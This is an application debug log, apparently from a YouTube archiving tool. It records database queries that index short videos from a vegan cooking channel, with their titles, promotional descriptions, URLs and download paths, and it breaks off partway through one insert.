QUERY OK source="media_items" db=1.8ms idle=5.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-11 17:06:43Z], 1] 20:31:11.200 [debug] QUERY OK source="media_items" db=2.1ms idle=7.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["We try odd food pairings that you'd never think work together and yet many of them have gone viral and are really popular pairings. Watch us as we try these weird food pairings for you so you don't have to.\n\nSubscribe for the full video release later this week.", "We Taste Test the Weirdest Viral Food Pairings Ever - You Have To Try These Food Pairings #shorts", "bceb77da-74b5-4e17-8f2a-f42ec82743a2", 1, [], 37, false, "6dVP0hd37vM", "https://www.youtube.com/shorts/6dVP0hd37vM", 462, "/downloads/downloads/alec/Steamy Vegan/2022-05-11 We Taste Test the Weirdest Viral Food Pairings Ever - You Have To Try These Food Pairings #shorts/We Taste Test the Weirdest Viral Food Pairings Ever - You Have To Try These Food Pairings #shorts [6dVP0hd37vM].NA", false, false, true, 2, ~U[2022-05-11 17:06:43Z], ~U[2026-03-22 03:31:11Z], ~U[2026-03-22 03:31:11Z], "We try odd food pairings that you'd never think work together and yet many of them have gone viral and are really popular pairings. Watch us as we try these weird food pairings for you so you don't have to.\n\nSubscribe for the full video release later this week.", "We Taste Test the Weirdest Viral Food Pairings Ever - You Have To Try These Food Pairings #shorts", 1, 37, false, "6dVP0hd37vM", "https://www.youtube.com/shorts/6dVP0hd37vM", "/downloads/downloads/alec/Steamy Vegan/2022-05-11 We Taste Test the Weirdest Viral Food Pairings Ever - You Have To Try These Food Pairings #shorts/We Taste Test the Weirdest Viral Food Pairings Ever - You Have To Try These Food Pairings #shorts [6dVP0hd37vM].NA", true, ~U[2022-05-11 17:06:43Z]] 20:31:11.201 [debug] QUERY OK source="sources" db=0.6ms idle=8.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:11.204 [debug] QUERY OK source="media_items" db=2.3ms idle=8.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-11 14:00:07Z], 1] 20:31:11.205 [debug] QUERY OK source="media_items" db=0.7ms idle=9.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Use code STEAMYVEGANKITCHEN30 at goodprotein.ca for 30% off your first order!\n\nLooking for an indulgent-tasting smoothie disguised as a superfood? This CHOCOLATE BERRY PROTEIN SMOOTHIE is for you! It'll be your new fave post-workout drink, pinky promise 😘\n\nCheck out the FULL RECIPE on my blog --- https://steamvegankitchen.com/choco-berry-protein-smoothie/\nHungry for more? Check out my latest and greatest smoothies:\nhttps://youtu.be/NToOA5QK408", "Chocolate Berry Protein Smoothie 🫐🍫💪🏻 Your new fave post-workout drink! #shorts", "e9f7860a-aaee-424e-bb4f-be926c4900aa", 1, [], 60, false, "LoJjAqfKsAI", "https://www.youtube.com/shorts/LoJjAqfKsAI", 463, "/downloads/downloads/alec/Steamy Vegan/2022-05-11 Chocolate Berry Protein Smoothie 🫐🍫💪🏻 Your new fave post-workout drink! #shorts/Chocolate Berry Protein Smoothie 🫐🍫💪🏻 Your new fave post-workout drink! #shorts [LoJjAqfKsAI].NA", false, false, true, 2, ~U[2022-05-11 14:00:07Z], ~U[2026-03-22 03:31:11Z], ~U[2026-03-22 03:31:11Z], "Use code STEAMYVEGANKITCHEN30 at goodprotein.ca for 30% off your first order!\n\nLooking for an indulgent-tasting smoothie disguised as a superfood? This CHOCOLATE BERRY PROTEIN SMOOTHIE is for you! It'll be your new fave post-workout drink, pinky promise 😘\n\nCheck out the FULL RECIPE on my blog --- https://steamvegankitchen.com/choco-berry-protein-smoothie/\nHungry for more? Check out my latest and greatest smoothies:\nhttps://youtu.be/NToOA5QK408", "Chocolate Berry Protein Smoothie 🫐🍫💪🏻 Your new fave post-workout drink! #shorts", 1, 60, false, "LoJjAqfKsAI", "https://www.youtube.com/shorts/LoJjAqfKsAI", "/downloads/downloads/alec/Steamy Vegan/2022-05-11 Chocolate Berry Protein Smoothie 🫐🍫💪🏻 Your new fave post-workout drink! #shorts/Chocolate Berry Protein Smoothie 🫐🍫💪🏻 Your new fave post-workout drink! #shorts [LoJjAqfKsAI].NA", true, ~U[2022-05-11 14:00:07Z]] 20:31:11.206 [debug] QUERY OK source="sources" db=0.5ms idle=8.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:11.208 [debug] QUERY OK source="media_items" db=2.1ms idle=5.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-10 15:30:18Z], 1] 20:31:11.209 [debug] QUERY OK source="media_items" db=0.9ms idle=7.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Who doesn't love chocolate cream pie that you don't feel guilty about eating because it's gluten-free, plant-based (vegan), soy-free, and egg-free. This chocolate avocado cream pie will get you so excited, you won't be able to resist it.\n\nBrownie points for anyone who remembers what movie the audio is from.\n\nCheck out the full video here: https://youtu.be/8GSEsZWhkhs\n\nDon't forget to subscribe to catch all of our daily content!", "Guilt-free chocolate cream pie that will get you all excited 😮🤤", "eba6acb9-c502-4a50-be4f-9b6f1a181100", 1, [], 14, false, "dI2E6LTLwwk", "https://www.youtube.com/shorts/dI2E6LTLwwk", 464, "/downloads/downloads/alec/Steamy Vegan/2022-05-10 Guilt-free chocolate cream pie that will get you all excited 😮🤤/Guilt-free chocolate cream pie that will get you all excited 😮🤤 [dI2E6LTLwwk].NA", false, false, true, 1, ~U[2022-05-10 15:30:18Z], ~U[2026-03-22 03:31:11Z], ~U[2026-03-22 03:31:11Z], "Who doesn't love chocolate cream pie that you don't feel guilty about eating because it's gluten-free, plant-based (vegan), soy-free, and egg-free. This chocolate avocado cream pie will get you so excited, you won't be able to resist it.\n\nBrownie points for anyone who remembers what movie the audio is from.\n\nCheck out the full video here: https://youtu.be/8GSEsZWhkhs\n\nDon't forget to subscribe to catch all of our daily content!", "Guilt-free chocolate cream pie that will get you all excited 😮🤤", 1, 14, false, "dI2E6LTLwwk", "https://www.youtube.com/shorts/dI2E6LTLwwk", "/downloads/downloads/alec/Steamy Vegan/2022-05-10 Guilt-free chocolate cream pie that will get you all excited 😮🤤/Guilt-free chocolate cream pie that will get you all excited 😮🤤 [dI2E6LTLwwk].NA", true, ~U[2022-05-10 15:30:18Z]] 20:31:11.210 [debug] QUERY OK source="sources" db=0.4ms idle=5.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:11.212 [debug] QUERY OK source="media_items" db=1.8ms idle=5.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-09 13:00:14Z], 1] 20:31:11.213 [debug] QUERY OK source="media_items" db=0.7ms idle=6.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["We all have that go to drink first thing in the morning, maybe it's a healthy green smoothie or maybe it's a coffee for you. If you miss these you probably feel a lot like Will Ferrell in this Old School clip. \n\nCheck out the full smoothie video here: https://youtu.be/NToOA5QK408\n\nDon't forget to subscribe for more daily content!", "When I don’t get my morning green smoothie", "23867c11-475a-4150-8b84-910893a6893d", 1, [], 10, false, "R74GiE1uOVY", "https://www.youtube.com/shorts/R74GiE1uOVY", 465, "/downloads/downloads/alec/Steamy Vegan/2022-05-09 When I don’t get my morning green smoothie/When I don’t get my morning green smoothie [R74GiE1uOVY].NA", false, false, true, 1, ~U[2022-05-09 13:00:14Z], ~U[2026-03-22 03:31:11Z], ~U[2026-03-22 03:31:11Z], "We all have that go to drink first thing in the morning, maybe it's a healthy green smoothie or maybe it's a coffee for you. If you miss these you probably feel a lot like Will Ferrell in this Old School clip. \n\nCheck out the full smoothie video here: https://youtu.be/NToOA5QK408\n\nDon't forget to subscribe for more daily content!", "When I don’t get my morning green smoothie", 1, 10, false, "R74GiE1uOVY", "https://www.youtube.com/shorts/R74GiE1uOVY", "/downloads/downloads/alec/Steamy Vegan/2022-05-09 When I don’t get my morning green smoothie/When I don’t get my morning green smoothie [R74GiE1uOVY].NA", true, ~U[2022-05-09 13:00:14Z]] 20:31:11.213 [debug] QUERY OK source="sources" db=0.4ms idle=4.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:11.215 [debug] QUERY OK source="media_items" db=1.7ms idle=4.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-08 17:35:46Z], 1] 20:31:11.216 [debug] QUERY OK source="media_items" db=0.7ms idle=5.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Johnny Depp, Brad Pitt, Ariana Grande, Jessica Chastain, Gorillas and so many others do it. Have you tried a plant-based, vegan recipe? Check out all of our recipes by subscribing to Steamy Vegan Kitchen\n\nSubscribe: https://www.youtube.com/channel/UChyRQ1MG_lcGByn0oeQmVfA?sub_confirmation=1", "Johnny Depp did it, even Ariana Grande does it, let’s DO IT! #shorts", "dcac4b37-6912-418a-9cb6-10385663f3d1", 1, [], 15, false, "K5gp_vEuYCs", "https://www.youtube.com/shorts/K5gp_vEuYCs", 466, "/downloads/downloads/alec/Steamy Vegan/2022-05-08 Johnny Depp did it, even Ariana Grande does it, let’s DO IT! #shorts/Johnny Depp did it, even Ariana Grande does it, let’s DO IT! #shorts [K5gp_vEuYCs].NA", false, false, true, 3, ~U[2022-05-08 17:35:46Z], ~U[2026-03-22 03:31:11Z], ~U[2026-03-22 03:31:11Z], "Johnny Depp, Brad Pitt, Ariana Grande, Jessica Chastain, Gorillas and so many others do it. Have you tried a plant-based, vegan recipe? Check out all of our recipes by subscribing to Steamy Vegan Kitchen\n\nSubscribe: https://www.youtube.com/channel/UChyRQ1MG_lcGByn0oeQmVfA?sub_confirmation=1", "Johnny Depp did it, even Ariana Grande does it, let’s DO IT! #shorts", 1, 15, false, "K5gp_vEuYCs", "https://www.youtube.com/shorts/K5gp_vEuYCs", "/downloads/downloads/alec/Steamy Vegan/2022-05-08 Johnny Depp did it, even Ariana Grande does it, let’s DO IT! #shorts/Johnny Depp did it, even Ariana Grande does it, let’s DO IT! #shorts [K5gp_vEuYCs].NA", true, ~U[2022-05-08 17:35:46Z]] 20:31:11.217 [debug] QUERY OK source="sources" db=0.5ms idle=4.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:11.219 [debug] QUERY OK source="media_items" db=1.6ms idle=4.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-08 09:00:02Z], 1] 20:31:11.220 [debug] QUERY OK source="media_items" db=0.7ms idle=5.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Ever wondered the best ways to cheat? I heard that gasp but I'm referring to cheating on your vegan or gluten-free diet of course, or any diet really. \n\nCheck out our full video on how I convinced my husband to eat vegan and what he does to occasionally cheat: https://youtu.be/wp9Znjx6GlA\n\nAlso, check out the first episode in our new series 'Cheat Day Challenge'. You'll see us make some of your favourite meals into epic cheat meals: https://youtu.be/2PBpb8LJWwE", "How to Get Away With Cheating #shorts", "a4876841-2a21-493d-9dc6-65a15e66ae5f", 1, [], 18, false, "5U2k14VVceE", "https://www.youtube.com/shorts/5U2k14VVceE", 467, "/downloads/downloads/alec/Steamy Vegan/2022-05-08 How to Get Away With Cheating #shorts/How to Get Away With Cheating #shorts [5U2k14VVceE].NA", false, false, true, 3, ~U[2022-05-08 09:00:02Z], ~U[2026-03-22 03:31:11Z], ~U[2026-03-22 03:31:11Z], "Ever wondered the best ways to cheat? I heard that gasp but I'm referring to cheating on your vegan or gluten-free diet of course, or any diet really. \n\nCheck out our full video on how I convinced my husband to eat vegan and what he does to occasionally cheat: https://youtu.be/wp9Znjx6GlA\n\nAlso, check out the first episode in our new series 'Cheat Day Challenge'. You'll see us make some of your favourite meals into epic cheat meals: https://youtu.be/2PBpb8LJWwE", "How to Get Away With Cheating #shorts", 1, 18, false, "5U2k14VVceE", "https://www.youtube.com/shorts/5U2k14VVceE", "/downloads/downloads/alec/Steamy Vegan/2022-05-08 How to Get Away With Cheating #shorts/How to Get Away With Cheating #shorts [5U2k14VVceE].NA", true, ~U[2022-05-08 09:00:02Z]] 20:31:11.221 [debug] QUERY OK source="sources" db=0.7ms idle=4.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:11.222 [debug] QUERY OK source="media_items" db=1.5ms idle=4.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-08 00:51:42Z], 1] 20:31:11.223 [debug] QUERY OK source="media_items" db=0.8ms idle=5.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This is the perfect dessert for Mother's Day or any special occasion really. It's a vegan, gluten-free, no refined sugar chocolate avocado cream pie. No guilt right? The crust is my favourite part and I'm not even someone who likes to eat the crust at the end. \n\nCheck out the full recipe video here: https://youtu.be/8GSEsZWhkhs", "Guilt-Free Mother's Day Chocolate Avocado Pie - The Perfect Mother's Day Dessert #shorts", "f4d0acde-ea17-4831-a704-e5c6ef7d577d", 1, [], 30, false, "FDFX3e6FnmQ", "https://www.youtube.com/shorts/FDFX3e6FnmQ", 468, "/downloads/downloads/alec/Steamy Vegan/2022-05-08 Guilt-Free Mother's Day Chocolate Avocado Pie - The Perfect Mother's Day Dessert #shorts/Guilt-Free Mother's Day Chocolate Avocado Pie - The Perfect Mother's Day Dessert #shorts [FDFX3e6FnmQ].NA", false, false, true, 3, ~U[2022-05-08 00:51:42Z], ~U[2026-03-22 03:31:11Z], ~U[2026-03-22 03:31:11Z], "This is the perfect dessert for Mother's Day or any special occasion really. It's a vegan, gluten-free, no refined sugar chocolate avocado cream pie. No guilt right? The crust is my favourite part and I'm not even someone who likes to eat the crust at the end. \n\nCheck out the full recipe video here: https://youtu.be/8GSEsZWhkhs", "Guilt-Free Mother's Day Chocolate Avocado Pie - The Perfect Mother's Day Dessert #shorts", 1, 30, false, "FDFX3e6FnmQ", "https://www.youtube.com/shorts/FDFX3e6FnmQ", "/downloads/downloads/alec/Steamy Vegan/2022-05-08 Guilt-Free Mother's Day Chocolate Avocado Pie - The Perfect Mother's Day Dessert #shorts/Guilt-Free Mother's Day Chocolate Avocado Pie - The Perfect Mother's Day Dessert #shorts [FDFX3e6FnmQ].NA", true, ~U[2022-05-08 00:51:42Z]] 20:31:11.224 [debug] QUERY OK source="sources" db=0.5ms idle=4.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:11.226 [debug] QUERY OK source="media_items" db=1.4ms idle=4.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-07 09:00:19Z], 1] 20:31:11.227 [debug] QUERY OK source="media_items" db=0.7ms idle=5.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This is how I convinced my meat-eating husband to eat a vegan plant-based diet. He's now eaten plant-based vegan for 5 years and I've been eating this way for 7 and it has changed our lives.\n\nPS. I didn't actually force him to the ground and feed him vegetables. \n\nCheck out the full video here: https://youtu.be/wp9Znjx6GlA\n\nSubscribe for over 50 videos about vegan recipes, gluten free recipes, vegan food challenges, and vegan food adventures.", "HOW I CONVINCED MY HUSBAND TO EAT VEGAN #shorts", "1ffb1c71-54e0-4ba3-b6a4-6d78d24f8e4b", 1, [], 15, false, "MaEFSyUKMX4", "https://www.youtube.com/shorts/MaEFSyUKMX4", 469, "/downloads/downloads/alec/Steamy Vegan/2022-05-07 HOW I CONVINCED MY HUSBAND TO EAT VEGAN #shorts/HOW I CONVINCED MY HUSBAND TO EAT VEGAN #shorts [MaEFSyUKMX4].NA", false, false, true, 1, ~U[2022-05-07 09:00:19Z], ~U[2026-03-22 03:31:11Z], ~U[2026-03-22 03:31:11Z], "This is how I convinced my meat-eating husband to eat a vegan plant-based diet. He's now eaten plant-based vegan for 5 years and I've been eating this way for 7 and it has changed our lives.\n\nPS. I didn't actually force him to the ground and feed him vegetables. \n\nCheck out the full video here: https://youtu.be/wp9Znjx6GlA\n\nSubscribe for over 50 videos about vegan recipes, gluten free recipes, vegan food challenges, and vegan food adventures.", "HOW I CONVINCED MY HUSBAND TO EAT VEGAN #shorts", 1, 15, false, "MaEFSyUKMX4", "https://www.youtube.com/shorts/MaEFSyUKMX4", "/downloads/downloads/alec/Steamy Vegan/2022-05-07 HOW I CONVINCED MY HUSBAND TO EAT VEGAN #shorts/HOW I CONVINCED MY HUSBAND TO EAT VEGAN #shorts [MaEFSyUKMX4].NA", true, ~U[2022-05-07 09:00:19Z]] 20:31:11.227 [debug] QUERY OK source="sources" db=0.4ms idle=4.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:11.229 [debug] QUERY OK source="media_items" db=1.4ms idle=3.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-06 17:55:29Z], 1] 20:31:11.231 [debug] QUERY OK source="media_items" db=1.5ms idle=5.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Check out all the EPIC VEGAN FOOD we ate on Bowen Island! From pizza to truffle fries, ice cream, tacos, and more, you GOTTA check out the full videos below!\n\nOUR TOP VEGAN GLUTEN-FREE OPTIONS ON BOWEN: https://youtu.be/OX3BXyo6XV8\nWHAT I ATE ON BOWEN ISLAND (FULL VLOG): https://youtu.be/nu4z1cbo8QQ\n\nBLOG: https://steamyvegankitchen.com\n\n\nGet my FREE SOUP BASICS FOR BEGINNERS GUIDE!\nhttps://steamyvegankitchen.com/steamy-freebies/\n\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: https://www.facebook.com/SteamyVeganKitchen\nINSTAGRAM: https://instagram.com/steamyvegankitchen\nPINTEREST: https://www.pinterest.ca/SteamyVeganKitchen\n\nBLOG: https://steamyvegankitchen.com\nCONTACT: janelle@steamyvegankitchen.com\n\nWHERE I GET MY MUSIC: \nThematic: I LOVE using Thematic for all my royalty-free music in my recipe videos. Their song selection is top notch, plus it helps promote fellow creators! Use my link to get 1 month of their PREMIUM membership for free!\n https://app.hellothematic.com/?via=steamyvegan \nMusic by Mark Generous - Sing Me To Sleep - https://thmatc.co/?l=FBC67488", "All the EPIC VEGAN FOOD we ate on BOWEN ISLAND 🏝", "5304655c-e02f-40dc-823a-c07a64b58226", 1, [], 15, false, "TfMejTHNHwE", "https://www.youtube.com/shorts/TfMejTHNHwE", 470, "/downloads/downloads/alec/Steamy Vegan/2022-05-06 All the EPIC VEGAN FOOD we ate on BOWEN ISLAND 🏝/All the EPIC VEGAN FOOD we ate on BOWEN ISLAND 🏝 [TfMejTHNHwE].NA", false, false, true, 1, ~U[2022-05-06 17:55:29Z], ~U[2026-03-22 03:31:11Z], ~U[2026-03-22 03:31:11Z], "Check out all the EPIC VEGAN FOOD we ate on Bowen Island! From pizza to truffle fries, ice cream, tacos, and more, you GOTTA check out the full videos below!\n\nOUR TOP VEGAN GLUTEN-FREE OPTIONS ON BOWEN: https://youtu.be/OX3BXyo6XV8\nWHAT I ATE ON BOWEN ISLAND (FULL VLOG): https://youtu.be/nu4z1cbo8QQ\n\nBLOG: https://steamyvegankitchen.com\n\n\nGet my FREE SOUP BASICS FOR BEGINNERS GUIDE!\nhttps://steamyvegankitchen.com/steamy-freebies/\n\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: https://www.facebook.com/SteamyVeganKitchen\nINSTAGRAM: https://instagram.com/steamyvegankitchen\nPINTEREST: https://www.pinterest.ca/SteamyVeganKitchen\n\nBLOG: https://steamyvegankitchen.com\nCONTACT: janelle@steamyvegankitchen.com\n\nWHERE I GET MY MUSIC: \nThematic: I LOVE using Thematic for all my royalty-free music in my recipe videos. Their song selection is top notch, plus it helps promote fellow creators! Use my link to get 1 month of their PREMIUM membership for free!\n 